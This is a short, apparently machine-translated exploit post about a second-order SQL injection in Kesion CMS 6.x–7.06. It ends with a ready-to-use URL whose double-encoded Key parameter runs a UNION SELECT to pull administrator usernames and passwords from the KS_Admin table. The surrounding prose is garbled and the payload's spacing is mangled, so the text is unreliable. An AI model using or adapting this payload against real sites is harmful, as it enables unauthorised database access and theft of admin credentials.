Kesion 6.x-7.06 second Injection Vulnerability

 

Author: goingta

Website: www.zzfhw.com

 

Ah, it's sad.

 

Find one by yourself.

Hope there is no gossip

 

The report is official, but I think there will always be problems when people do this.

 

It would be hard to hook up a black page for non-mainstream users in xx.

 

No explanation ....

 

Because the first one is easily deleted by some websites under the user directory.

 

My new friend met a file without the first one today.

So I sent it to you for fun.

 

Send the code from another place.

Http://www.bkjia.com/plus/Ajaxs. asp? Action = GetRelativeItem & Key = goingta % 2525% 2527% 2529% 2520% 2575% 256E % 2569% 256F % 256E % 2520% 2573% 2565% 256C % 2565% 2563% 2574%, 2, username % 252B % 2527% 257C % 2527% 252 Bpassword % 20 from % 20KS_Admin % 2500